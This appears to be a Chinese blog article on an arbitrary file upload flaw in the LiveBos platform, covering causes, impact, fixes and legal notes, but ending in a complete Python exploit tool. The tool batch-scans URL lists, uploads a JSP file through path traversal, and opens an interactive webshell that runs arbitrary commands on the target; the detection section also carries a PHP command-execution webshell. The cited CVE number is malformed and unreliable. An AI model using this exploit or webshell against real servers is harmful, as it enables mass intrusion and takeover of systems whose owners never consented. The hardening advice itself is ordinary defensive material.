当前位置: 首页 > news >正文

#渗透测试#批量漏洞挖掘#LiveBos UploadFile(CVE-2021-77663-2336) 任意文件上传漏洞

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。

目录

漏洞背景

漏洞成因

影响评估

检测方案

修复建议

法律合规提示

漏洞POC


漏洞背景

LiveBos作为企业级应用开发平台,其文件上传模块若存在安全缺陷,可能导致攻击者上传恶意脚本文件(如.jsp、.php等),进而获取服务器控制权限。

漏洞成因

  1. 验证机制缺失

    • 未对文件扩展名进行白名单校验
    • MIME类型检测可被伪造绕过
    • 未实施二次文件头校验
  2. 存储路径配置不当

    • 上传目录具有可执行权限
    • 未对上传文件进行随机化重命名
  3. 权限控制缺陷

    • 未实施有效的身份验证机制
    • 上传接口未配置访问频率限制

影响评估

┌──────────────┬───────────────────────────────┐ │ 影响维度 │ 具体表现 │ ├──────────────┼───────────────────────────────┤ │ 数据安全 │ 数据库凭证泄露、业务数据篡改 │ │ 系统完整性 │ 服务器沦为攻击跳板 │ │ 业务连续性 │ 通过恶意脚本实施服务阻断攻击 │ └──────────────┴───────────────────────────────┘

检测方案

# 示例检测脚本(需在授权环境下使用)
import requeststest_files = {'malicious.jsp':  {'content': '<% out.println("test");  %>'},'bypass.jpg.php':  {'content': '<?php system($_GET["cmd"]); ?>'}
}for filename, data in test_files.items(): response = requests.post( 'https://target/upload',files={'file': (filename, data['content'])})if response.status_code  == 200:print(f'[+] 潜在漏洞:成功上传 {filename}')

修复建议

  1. 输入验证强化

// 示例Java白名单验证
String[] allowedExtensions = {"jpg", "png", "pdf"};
String fileExt = FilenameUtils.getExtension(filename).toLowerCase(); 
if(!ArrayUtils.contains(allowedExtensions,  fileExt)){throw new SecurityException("非法文件类型");
}

存储安全配置

  • 设置upload目录不可执行(nginx配置示例):
location ^~ /uploads/ {deny all;
}

安全增强措施

  • 实施内容安全扫描(如ClamAV集成)
  • 启用WAF防护规则(如ModSecurity规则):
SecRule FILES "@contains .php" "deny,log,status:403"

法律合规提示

根据《网络安全法》第二十一条,网络运营者应当按照网络安全等级保护制度的要求,履行安全保护义务。建议企业:

  1. 在24小时内向属地公安网安部门报告安全事件
  2. 按照《数据安全法》要求进行风险评估
  3. 及时通过官方渠道发布安全公告

注:以上分析基于历史版本研究,具体到2025年的系统版本,建议联系LiveBos官方获取最新安全通告。如需渗透测试服务,应选择持有《网络安全等级保护测评机构推荐证书》的专业机构。

漏洞POC

import argparse
import random
import string
import urllib.request 
from urllib.parse  import urljoin
import ssl
import urllib3# 禁用SSL验证和警告
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 常量定义
USER_AGENT = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
BOUNDARY = "---------------------------11d2c49c8ddda2a65a0a90c3b02189a3"
BASE_HEADERS = {"User-Agent": USER_AGENT,"Content-Type": f"multipart/form-data; boundary={BOUNDARY}"
}def read_urls(file_path: str) -> list:"""读取URL列表文件"""try:with open(file_path, 'r') as f:return [line.strip() for line in f if line.strip()] except FileNotFoundError:print(f"Error: File {file_path} not found")return []def construct_payload(filename: str, content: str) -> bytes:"""构造多部分表单数据载荷"""return f"""--{BOUNDARY}
Content-Disposition: form-data; name="file"; filename="//../../../../{filename}"
Content-Type: image/png{content}
--{BOUNDARY}--""".encode('utf-8')def send_request(url: str, method: str = "GET", data: bytes = None, headers: dict = None):"""发送HTTP请求的通用函数"""req = urllib.request.Request( url,data=data,headers=headers or {},method=method.upper() )try:with urllib.request.urlopen(req,  timeout=10) as response:return response.read().decode(),  response.getcode() except Exception as e:print(f"Request failed: {str(e)}")return None, Nonedef check_vulnerability(url: str) -> bool:"""检测目标是否存在漏洞"""target_url = urljoin(url, "/feed/UploadFile.do;.js.jsp") payload = construct_payload("tmptest1.jsp", '<% out.println("HelloWorldTest");new  java.io.File(application.getRealPath(request.getServletPath())).delete();%>' )content, status_code = send_request(target_url,method="POST",data=payload,headers=BASE_HEADERS)if status_code == 200 and all(k in content for k in ('oldfileName', 'newFileName')):verify_url = urljoin(url, "/tmptest1.jsp;.js.jsp") content, status_code = send_request(verify_url)return status_code == 200 and "HelloWorldTest" in contentreturn Falsedef execute_command(url: str):"""命令执行交互"""while True:cmd = input("\033[34mCommand (exit to quit): \033[0m").strip()if cmd.lower()  == 'exit':breakfilename = ''.join(random.choices(string.ascii_uppercase  + string.digits,  k=5))jsp_code = f'''<% Process p = Runtime.getRuntime().exec("{cmd}"); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line;while ((line = reader.readLine())  != null) {{out.println(line); }}new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>'''payload = construct_payload(f"{filename}.jsp", jsp_code)target_url = urljoin(url, "/feed/UploadFile.do;.js.jsp") _, status_code = send_request(target_url,method="POST",data=payload,headers=BASE_HEADERS)if status_code == 200:result_url = urljoin(url, f"/{filename}.jsp;.js.jsp") content, _ = send_request(result_url)print(content if content else "No response received")def main():parser = argparse.ArgumentParser(description="LiveBos Arbitrary File Upload Exploit Tool",formatter_class=argparse.RawTextHelpFormatter)group = parser.add_mutually_exclusive_group(required=True) group.add_argument("-u",  "--url", help="Target URL")group.add_argument("-f",  "--file", help="File containing list of URLs")args = parser.parse_args() if args.url: if check_vulnerability(args.url): print(f"\033[31mVulnerable: {args.url}\033[0m") execute_command(args.url) elif args.file: for url in read_urls(args.file): if check_vulnerability(url):print(f"\033[31mVulnerable: {url}\033[0m")if __name__ == "__main__":main()

相关文章:

  • CAP分布式理论
  • Linux 系统不终止进程的情况下关闭长连接
  • MCP专题 | 探索MCP服务器世界:增强AI能力的精选推荐
  • 裸金属服务器:解锁极致性能,拒绝虚拟化开销!
  • 可视化图解算法42:寻找峰值
  • OK536N-C测评:开箱体验以及在Linux下如何管理开发板
  • AI智能分析网关V4人员摔倒检测打造医院/工厂等多场景智能安全防护体系
  • 【ubuntu】虚拟机连不上网,且网络中没有有线连接
  • 动态规划-LCR 090.打家劫舍II-力扣(LeetCode)
  • Ubuntu 安装 Node.js 指定版本指南
  • 按键精灵ios/安卓辅助工具高级函数OcrEx文字识别(增强版)脚本开发介绍
  • 使用 Java 开发 Android 应用:Kotlin 与 Java 的混合编程
  • Kubernetes中微服务JVM监控与自动发现的解决方案
  • 精益数据分析(72/126):MVP的核心法则——消除阻碍与聚焦关键指标
  • 深度解析:AI知识库与LLM开发工具全景对比
  • 打破次元壁,VR 气象站开启气象学习新姿势​
  • APPtrace 智能参数系统:重构 App 用户增长与运营逻辑
  • 20250520在全志H3平台的Nano Pi NEO CORE开发板上运行Ubuntu Core16.04.3时跑通4G模块EC20
  • 面经总目录——持续更新中
  • 【Axure视频教程】动态地图路线
  • 华住集团:第一季度盈利8.94亿元,同比增长超三成
  • 越秀地产约41.49亿元出售北京海淀功德寺项目公司65%股权,此前已质押给华润置地
  • 中疾控专家:新冠感染的临床严重性未发生显著变化
  • 美国前驻华大使携美大学生拜访中联部、外交部
  • 央企通号建设集团有限公司原党委常委、副总经理叶正兵被查
  • 被央视曝光“废旧厂区沦为垃圾山”,江西萍乡成立调查组查处